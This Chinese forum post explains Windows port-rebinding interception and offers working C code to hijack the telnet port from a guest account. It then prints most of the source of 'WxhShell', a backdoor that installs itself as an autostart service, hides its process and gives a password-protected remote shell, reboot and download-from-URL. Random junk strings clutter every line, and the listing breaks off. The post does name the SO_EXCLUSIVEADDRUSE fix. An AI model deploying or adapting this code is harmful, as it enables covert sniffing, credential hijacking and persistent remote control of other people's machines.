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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: RBOhV/f  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [I%'\CI;  
D0 rqte  
  saddr.sin_family = AF_INET; &Y$)s<u8.  
KPdlg.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); aN~x3G  
anFl:=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /5C>7BC  
+!<{80w  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 jx8hh}C  
8YkCTJfBGu  
  这意味着什么?意味着可以进行如下的攻击: i-Ri;E  
mJS-x-@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <W88;d33r=  
$EPDa?$*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) /G#W/Q  
&A~(9IV  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -(|}:J  
^uIKwql  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  73(5.'F  
0coRar?+b  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 d(6&kXK  
zK&J2P`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 K${CHKFf  
u %&4[zb  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _<l9j;6  
@wW)#!Mou  
  #include I}1<epd ,  
  #include ;%xG bg!lg  
  #include e}q!m(K]e-  
  #include    f'B#h;`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   K yp(dp>  
  int main() D}EH9d  
  { \t]aBT,  
  WORD wVersionRequested; JL&ni]m  
  DWORD ret; 'pl){aL`@u  
  WSADATA wsaData; 7' TXR[   
  BOOL val; g<N3 L [  
  SOCKADDR_IN saddr; &}vc^io  
  SOCKADDR_IN scaddr; ;q" ,Bs  
  int err; > V%3w7  
  SOCKET s; &^@IAjxn  
  SOCKET sc; r;OE6}L>  
  int caddsize; j:'!P<#  
  HANDLE mt; r2>y !Q?  
  DWORD tid;   \DRYqLT`  
  wVersionRequested = MAKEWORD( 2, 2 ); O<6!?1|KP  
  err = WSAStartup( wVersionRequested, &wsaData ); ~aRcA|`  
  if ( err != 0 ) { B,RHFlp{  
  printf("error!WSAStartup failed!\n"); ~n!7 ?4%U  
  return -1; SLI358]$<  
  } e+P|PW  
  saddr.sin_family = AF_INET; ?[S{kMb2  
   DwH=ln=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了  B<?fD  
>?0f>I%\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); D_Cd^;b  
  saddr.sin_port = htons(23); / S)&dN`  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) h*?/[XY  
  { t^@4n&Dg  
  printf("error!socket failed!\n"); K9f7,/  
  return -1; %TRH,-@3h  
  } E 9n7P'8  
  val = TRUE; %#b+ =J  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ?kM53zbT#  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `PvGfmYOl  
  { Wy,Tf*[  
  printf("error!setsockopt failed!\n"); <=7^D  
  return -1; Ue]GHJ2  
  } f=*xdOB3  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]mmL8%B@_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 NI% ()  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @awN*mO  
&fWYQ'\>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) U2VnACCUZs  
  { ^LJ?GJ$g  
  ret=GetLastError(); j 1#T]CDs  
  printf("error!bind failed!\n"); _gi?GQj  
  return -1; L[9]Ez$2+  
  } 9{V54ue;  
  listen(s,2); JIyIQg'5i  
  while(1) gEQevy`T%c  
  { )9JuQ_ R  
  caddsize = sizeof(scaddr); +{S^A)  
  //接受连接请求 sy.U] QG  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); NX4}o&mDwn  
  if(sc!=INVALID_SOCKET) ~",,&>#[K  
  { )t$|'c}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .]W A/}  
  if(mt==NULL) Uw5`zl  
  { 3xz{[5<p  
  printf("Thread Creat Failed!\n"); 1]j_4M14aA  
  break; l<# *[TJ  
  } a uz2n  
  } 2KC~; 5  
  CloseHandle(mt); kKg%[zXS  
  } g>*t"Rf:  
  closesocket(s); y*Wl(w3  
  WSACleanup(); E-q*u(IW  
  return 0; z!6:Dt6^  
  }   p6'wg#15  
  DWORD WINAPI ClientThread(LPVOID lpParam)  p%6j2;D  
  { oZ(T`5  
  SOCKET ss = (SOCKET)lpParam; sw715"L  
  SOCKET sc; ?krgZ;Jj  
  unsigned char buf[4096]; I*^3 Z  
  SOCKADDR_IN saddr; +e%U6&l{  
  long num; q^hL[:ms#  
  DWORD val; <e&*Tx<8  
  DWORD ret; !xxu~j^T  
  //如果是隐藏端口应用的话,可以在此处加一些判断 v/yt C/WH"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   R83Me #&  
  saddr.sin_family = AF_INET; p4OiCAW;  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ndIU0kq3  
  saddr.sin_port = htons(23); ;eRYgC  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "*E%?MG  
  { YSE6PG   
  printf("error!socket failed!\n"); 7!E?(3$#"  
  return -1; 9}2E+  
  } 4W''j[Y/  
  val = 100; ,,>b=r_r&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V5{^R+_)Ya  
  { 8Dq;QH}  
  ret = GetLastError(); kWgZIkY  
  return -1; %CP:rAd`M.  
  } &<E*W*b[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w&7-:."1i  
  { 8f<[Bu ze  
  ret = GetLastError(); uE6;;Ir#mF  
  return -1; Gq/f|43}@O  
  } @ 0RB.-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) iZ3%'~K<3J  
  { Q7 Clr{&  
  printf("error!socket connect failed!\n"); C  +%&!Q  
  closesocket(sc); =wW3Tr7~  
  closesocket(ss); ![BQ;X  
  return -1; [J|)DUjt  
  } @{Q[M3l  
  while(1) u9*}@{,  
  { v@0lTl_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0/."R ;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;_lEu" -  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x_oL~~@  
  num = recv(ss,buf,4096,0); < g<Lf[n$  
  if(num>0) 0} UJP   
  send(sc,buf,num,0); {<HL}m@kQ  
  else if(num==0) ;$y(Tvd;  
  break; lFNf/j^Z  
  num = recv(sc,buf,4096,0); 7lvUIc?krW  
  if(num>0) l ^*GqP5  
  send(ss,buf,num,0); Oop;Y^gG}  
  else if(num==0) KGclo-,  
  break; Uk02VuS  
  } n#G I& U  
  closesocket(ss); ^ )Lh5   
  closesocket(sc); Xh/i5}5 t  
  return 0 ; ?[K+Ym+  
  } w`vJE!4B  
iTt"Ik'  
XLK#=YTI  
========================================================== s9<fPv0w  
U3+{!}gn  
下边附上一个代码,,WXhSHELL ~O)Uz|  
.3%eSbt0  
========================================================== :Gh* d)  
xP.B,1\X  
#include "stdafx.h" ,x?H]a)  
{g2cm'hD  
#include <stdio.h> IPU'M*|Q  
#include <string.h> 7 N?x29  
#include <windows.h> *=1;HN3  
#include <winsock2.h> &t +   
#include <winsvc.h> \guZc}V]:\  
#include <urlmon.h> .[hQ#3)W  
j[XA"DZR<  
#pragma comment (lib, "Ws2_32.lib") *Rv eR?kO  
#pragma comment (lib, "urlmon.lib") _=1SR\  
:>$)Snqo=n  
#define MAX_USER   100 // 最大客户端连接数 z^Nnt  
#define BUF_SOCK   200 // sock buffer b'^OW  
#define KEY_BUFF   255 // 输入 buffer aXyu%<@k  
EOrWax@k$}  
#define REBOOT     0   // 重启 ~y}M GUEC  
#define SHUTDOWN   1   // 关机 ,|_ewye  
:".:Wd  
#define DEF_PORT   5000 // 监听端口 ObIi$uJX  
S<f&?\wK=v  
#define REG_LEN     16   // 注册表键长度 w~EXO;L2  
#define SVC_LEN     80   // NT服务名长度 z= -u89]  
mf'N4y%  
// 从dll定义API oh`I$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `e0U-W]kF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^CTgo,uf6H  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !ZbNW4rIP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U`JzE"ps]  
+(5H$O{h  
// wxhshell配置信息 $V~r*#$.  
struct WSCFG { GA{>=Q _~  
  int ws_port;         // 监听端口 &J_|P43  
  char ws_passstr[REG_LEN]; // 口令 _=jc%@]1y  
  int ws_autoins;       // 安装标记, 1=yes 0=no hi>Ii2T  
  char ws_regname[REG_LEN]; // 注册表键名 . ({aPtSt!  
  char ws_svcname[REG_LEN]; // 服务名 l^ni"X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GBvB0kC)c  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 VuwBnQ.2k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j?1\E9&4-Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lph3"a^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %5*gsgeI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =1lKcA[z  
g/so3F%v .  
}; -9/YS  
9U6y<X  
// default Wxhshell configuration ;h_"5/#  
struct WSCFG wscfg={DEF_PORT, j4le../N  
    "xuhuanlingzhe", GEwgwenv  
    1, TH/!z,( >  
    "Wxhshell", &-+qB >SK>  
    "Wxhshell", 5oplV(<?*S  
            "WxhShell Service", epm  t  
    "Wrsky Windows CmdShell Service", R! ?8F4G  
    "Please Input Your Password: ", 0\wMlV`F  
  1, kf0zL3|   
  "http://www.wrsky.com/wxhshell.exe", VG+Yhm<SL  
  "Wxhshell.exe" C/e`O|G  
    }; ;u,%an<(  
z-uJ+SA  
// 消息定义模块 zzuDI_,/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1j6ZSE/*|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q|om^:n.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~R/7J{Sg  
char *msg_ws_ext="\n\rExit."; <"/Y`/  
char *msg_ws_end="\n\rQuit."; E8=.TM]L  
char *msg_ws_boot="\n\rReboot..."; %p"x|e  
char *msg_ws_poff="\n\rShutdown..."; m~r^@D  
char *msg_ws_down="\n\rSave to "; a@zKi;  
 2 Ua_7  
char *msg_ws_err="\n\rErr!"; \P!v9LX(  
char *msg_ws_ok="\n\rOK!"; LLg ']9  
TclZdk]%T  
char ExeFile[MAX_PATH]; g8mVjM\B;  
int nUser = 0; *-Y77p7u  
HANDLE handles[MAX_USER]; *D F5sY  
int OsIsNt; e>1^i;f  
oScHmGFv  
SERVICE_STATUS       serviceStatus; Jd&Qi)1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; M{zzXE[@  
A) p}AEBc  
// 函数声明 IoJkM-^H&)  
int Install(void); 'Y6{89y  
int Uninstall(void); Kom$i<O?48  
int DownloadFile(char *sURL, SOCKET wsh); (iGk]Rtzt  
int Boot(int flag); v*QobI  
void HideProc(void); z]Z>+|  
int GetOsVer(void); 1QE-[|  
int Wxhshell(SOCKET wsl); l},*^Sn<5  
void TalkWithClient(void *cs); dnNC = siY  
int CmdShell(SOCKET sock); d#I'9O0&  
int StartFromService(void); B[C2uVEX:  
int StartWxhshell(LPSTR lpCmdLine); zrU0YHmt  
q+dY&4&u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H]"Z_n_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); CBs0>M/  
-n!.PsGO>  
// 数据结构和表定义 }0?642 =-  
SERVICE_TABLE_ENTRY DispatchTable[] = +KDB^{  
{ <|Bh;;  
{wscfg.ws_svcname, NTServiceMain}, O9A.WSJ >}  
{NULL, NULL} d4[M{LSl  
}; X~5TA)h;~  
VGM8&J{o'  
// 自我安装 h -+vM9j  
int Install(void) !zvKl;yT  
{ w@X<</`  
  char svExeFile[MAX_PATH]; ]XJpy-U  
  HKEY key; jr*A1y*  
  strcpy(svExeFile,ExeFile); g$?B!!qT  
s41<e"  
// 如果是win9x系统,修改注册表设为自启动 wX#=l?,K  
if(!OsIsNt) { R"!.|fH6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +=|Q'V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n O$(\ z)  
  RegCloseKey(key); {08UBnR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iF{eGi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )1lR;fD  
  RegCloseKey(key); c3P  
  return 0; f<uLbJ6  
    } g!V;*[  
  } 8Y sn8  
} ~{*FjZ`h  
else { D^04b< O<x  
f 7y1V(t  
// 如果是NT以上系统,安装为系统服务 0D/j2cT("k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k:Uyez  
if (schSCManager!=0) ;6L<Syl5  
{ 0DIaXdOdW+  
  SC_HANDLE schService = CreateService n+rAbn5o$  
  ( g*b%  
  schSCManager, T5-50nU,~  
  wscfg.ws_svcname, C z4"[C`;  
  wscfg.ws_svcdisp, aQMET~A:  
  SERVICE_ALL_ACCESS, IJs*zzR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I &YYw8&  
  SERVICE_AUTO_START, ! 0fpD'f!n  
  SERVICE_ERROR_NORMAL, UALwr>+VJ  
  svExeFile, WA8Qt\Q  
  NULL, (".`#909  
  NULL, /+"BU-aQk  
  NULL, HpSgGhL'J&  
  NULL, ]b.@i&M  
  NULL IpoZ6DB$  
  ); |Ag~k? QC  
  if (schService!=0) d&w g\"E  
  { O=MO M  
  CloseServiceHandle(schService); MQD UJ^I$  
  CloseServiceHandle(schSCManager); >VE,/?71@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G! zV=p  
  strcat(svExeFile,wscfg.ws_svcname); %TPnC'2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]"q)X{G(+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q68&CO(rE  
  RegCloseKey(key); W~POS'1  
  return 0; /.aZXC$]  
    } +AtZltM i  
  } a_L&*%;  
  CloseServiceHandle(schSCManager); f&js,NU"  
} 1G=1FGvP  
} ^%)'wDK  
H-nk\ K<|  
return 1; <)uUAh  
} hc"+6xc  
7cK#fh"hvg  
// 自我卸载 ]N:SB  
int Uninstall(void) &%>l9~F'~  
{ 9-Ikd>9  
  HKEY key; 0J7[n*~  
4G;+ETp  
if(!OsIsNt) { Fm`hFBKW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >E#| H6gx  
  RegDeleteValue(key,wscfg.ws_regname); y)"aQJ>  
  RegCloseKey(key); *,%H1)Tj}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E O52 E|  
  RegDeleteValue(key,wscfg.ws_regname); XGFU *g`kq  
  RegCloseKey(key); d~D<;7M XJ  
  return 0; z/.x*A=  
  } )V!9&  
} fk5!/>X  
} x9a*^l  
else { %Fa/82:- "  
R N5\,>+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]-bA{@tP.  
if (schSCManager!=0) .LIEZ^@  
{ 0 oEw1!cY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y/$WjFj3"  
  if (schService!=0) !qV{OXdrB  
  { gLsl/G  
  if(DeleteService(schService)!=0) { zg.'  
  CloseServiceHandle(schService); Kg VLXI6  
  CloseServiceHandle(schSCManager); W% YJ.%I  
  return 0; YKJk)%;+w  
  } <dV|N$WV  
  CloseServiceHandle(schService); VSx[{yn  
  } 1U;je,)  
  CloseServiceHandle(schSCManager); |[>`3p"&  
} |n \HxU3  
} (8?t0}#t  
8do]5FE  
return 1; f` 2W}|(jA  
} U)=StpTT  
B0?E$8a  
// 从指定url下载文件 |+~CdA  
int DownloadFile(char *sURL, SOCKET wsh) Pg{Dy>&2`I  
{ MSUkCWt!  
  HRESULT hr; Op" \i   
char seps[]= "/"; 54_CewL1P]  
char *token; =W.b7 6_  
char *file; fZ`b~ZBwIj  
char myURL[MAX_PATH]; JX7_/P  
char myFILE[MAX_PATH]; |qH-^b.F  
Sqed*  
strcpy(myURL,sURL); Lp 5LRw  
  token=strtok(myURL,seps); >to NGGU=~  
  while(token!=NULL) [<}:b>a  
  { x>A(016:C  
    file=token; /1zi(z   
  token=strtok(NULL,seps); \L}Soe'  
  } f>s3Q\+  
!e?=I  
GetCurrentDirectory(MAX_PATH,myFILE); "A~\$  
strcat(myFILE, "\\"); awB1ryrOF  
strcat(myFILE, file); ?SK1*; i  
  send(wsh,myFILE,strlen(myFILE),0); !>TVDN>  
send(wsh,"...",3,0); 4`o_r%   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3!_y@sWx  
  if(hr==S_OK) elG<\[  
return 0; BKPXXR  
else b/:9^&z  
return 1; v?,_SVgAi  
G%Hr c  
} %{!*)V\  
^GQ+,0Yy  
// 系统电源模块 BD&JbH!(  
int Boot(int flag) 3V?JX5X\  
{ ]{jdar^  
  HANDLE hToken; 1\z5[ _  
  TOKEN_PRIVILEGES tkp; 1.+0=M[h  
` Xc~'zG  
  if(OsIsNt) { 8L`J](y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ts`c_hH,1'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 26B]b{Iz{  
    tkp.PrivilegeCount = 1; =H%c/Jty  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g,h'K  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Wz)s#  
if(flag==REBOOT) { _Jx.?8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T?4MFx#  
  return 0;  qa)X\0  
} )cJ9YKKy  
else { z lco? Rt  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =3$JeNK9  
  return 0; Qh<_/X?  
} w6zB uW  
  } wwE`YY  
  else { ~ OD}`  
if(flag==REBOOT) { 5tdFd"oo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3jZPv;9OC  
  return 0; Cp`)*P2  
} &}_ $@  
else { lQj3# !1}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) R*VRxQ,h6+  
  return 0; HJ?p,V q5_  
} \2KwF}[m  
} 48vKUAzx`  
S+ gzl#r  
return 1; )ZC0/>R  
} BF{v0Z0/}k  
FBJw (.Jr  
// win9x进程隐藏模块 ZjF5*A8l  
void HideProc(void) pKJ0+mN#"  
{ :c[iS~ ~Y  
\CNv,HUm3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P&@ 2DI3m  
  if ( hKernel != NULL ) i}"Eu< P  
  { 1O3"W;SR<:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _; /onM   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LI1OocY.]  
    FreeLibrary(hKernel); i eQQ{iGJH  
  } 4WU%K`jnXb  
zO)A_s.6K  
return; d|#sgGM<8  
} 6yH(u}!.  
04g=bJ  
// 获取操作系统版本 +AkAMZ"Mg  
int GetOsVer(void) 8 SFw|   
{ ;}"!|  
  OSVERSIONINFO winfo; vncLB&@7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x8 :  
  GetVersionEx(&winfo); p?F%a;V3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D32~>J.F  
  return 1; '*gY45yT`  
  else n=Qz7N(M  
  return 0; K,_d/(T4  
} ;|7]%Z}%  
3H"bivK  
// 客户端句柄模块 Iow45R~]  
int Wxhshell(SOCKET wsl) U?BuV  
{ =E$Hq4I  
  SOCKET wsh; Ot,eAiaX  
  struct sockaddr_in client; ukNB#2 "  
  DWORD myID; .rpKSf.  
is`O,Met  
  while(nUser<MAX_USER) N~Zcrt_D  
{ R8ZI}C1  
  int nSize=sizeof(client); En-BT0o  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); s.ywp{EF  
  if(wsh==INVALID_SOCKET) return 1; [HO=ii]Wb  
.YOC|\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fP 4  
if(handles[nUser]==0) J; @g#h?  
  closesocket(wsh); Y6<"_  
else 93I.Wp_{  
  nUser++; >Z%qkU/  
  } EhJpJb[Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -aj) _.d  
3s25Rps  
  return 0; h|m>JDxn  
} w K)/m`{g  
o& -c5X4  
// 关闭 socket =XAFW  
void CloseIt(SOCKET wsh) SA3!a.*c  
{ W<']Q_su  
closesocket(wsh); 6IRzm6d  
nUser--; .zDm{_'  
ExitThread(0); |Iq#Q3w  
}  3"B$M  
nG B jxhl  
// 客户端请求句柄 M$L ; -T  
void TalkWithClient(void *cs) F,F1Axf  
{ U`*L`PM  
v fnVN@ 5  
  SOCKET wsh=(SOCKET)cs; jbrx)9Z+%  
  char pwd[SVC_LEN]; slPLc  
  char cmd[KEY_BUFF]; t^ax:6;"|  
char chr[1]; ZV,1IaO  
int i,j; tZ4Zj`x|^  
Wbra*LNU  
  while (nUser < MAX_USER) { bIs@CDB  
6,J:sm\  
if(wscfg.ws_passstr) { $<c;xDO&t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0xZX%2E  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7R4xJ H  
  //ZeroMemory(pwd,KEY_BUFF); -`d9dJ dB  
      i=0; `-,yJ  
  while(i<SVC_LEN) { <OR f{  
Y#[Wv1hi  
  // 设置超时 A08b=S  
  fd_set FdRead; FEoH$.4  
  struct timeval TimeOut; fG{ 9doUD  
  FD_ZERO(&FdRead); d]bM,`K* 6  
  FD_SET(wsh,&FdRead); H6fR6Kr4j  
  TimeOut.tv_sec=8; XMJEIG  
  TimeOut.tv_usec=0; sD_"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); OsSGVk #Qh  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gJkvH[hDY  
X.YMb .\<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L~Hgf/%5  
  pwd=chr[0]; kuEB  
  if(chr[0]==0xd || chr[0]==0xa) { f*uD9l%/  
  pwd=0; XwerQwO=  
  break; )U$]J*LI  
  } Vy+UOV&v-  
  i++; zLeId83>  
    } (K"8kQLY  
C{"uz_Gh  
  // 如果是非法用户,关闭 socket ?:8wDV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "M`ehgCBr  
} ? FlV<nE"J  
h_w_OCC&2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zc,kHO|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T d6Gu"  
gp?|UMA9 .  
while(1) { JE[+  
1Vden.H*CI  
  ZeroMemory(cmd,KEY_BUFF); }zK/43Vx  
P#8 ]m(  
      // 自动支持客户端 telnet标准   IQ9jTkW l  
  j=0; ku`bwS  
  while(j<KEY_BUFF) { }'o[6#_*X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .*0`}H+_  
  cmd[j]=chr[0]; \K,piCVViN  
  if(chr[0]==0xa || chr[0]==0xd) { ZJ|@^^GcL  
  cmd[j]=0; tOu:j [  
  break; x>E**a?!L  
  } X*cf|g  
  j++; @C}Hx;f6  
    } rwRb _eIj  
5[1#d\QR  
  // 下载文件 0xNlO9b/  
  if(strstr(cmd,"http://")) { 'yq'J)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;4g_~fB  
  if(DownloadFile(cmd,wsh)) #9Fe,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); O8J:Tw}M*  
  else UdSu:V|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C}~/(;1V=  
  } Rlq6I?S+  
  else { 7+h*&f3>  
wn$:L9"YN  
    switch(cmd[0]) { 4-YXXi}  
  N%2UL&w#B  
  // 帮助 Ya_4[vR<  
  case '?': { A{7N#-h_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~6hG"t]:  
    break; I8 <s4q  
  } ElEa*70~g  
  // 安装 hVfiF  
  case 'i': { v{H3DgyG  
    if(Install()) e$wbYByW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X> *o\   
    else j&S8x|5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4't@i1Ll(  
    break; yL&_>cV  
    } u D.E>.B  
  // 卸载 ;-G!jWt6Zi  
  case 'r': { qwb`8o  
    if(Uninstall()) -CTsB)=\,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >Kd(.r[Er  
    else LX %8a^?;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  xYMNyj~  
    break; JMMsOA_]  
    } J{Z-4y  
  // 显示 wxhshell 所在路径 zn |=Q$81  
  case 'p': { C+WHg-l  
    char svExeFile[MAX_PATH]; ; md{T'  
    strcpy(svExeFile,"\n\r"); 9u'hCi(  
      strcat(svExeFile,ExeFile); 3,K*r"=  
        send(wsh,svExeFile,strlen(svExeFile),0); F7(~v2|  
    break; lRn6Zh  
    } {d;eZt `  
  // 重启 TwZvz[u  
  case 'b': { GQ-o wH]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #0-!P+c[  
    if(Boot(REBOOT)) JuGQS24  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *5i~N}  
    else { zr0_SCh;2  
    closesocket(wsh); 35Jno<TP'  
    ExitThread(0); AJ;Y Nb  
    } Y[Gw<1F_  
    break; RRD\V3C84  
    } ^"w.v' sL  
  // 关机 ;z9(  
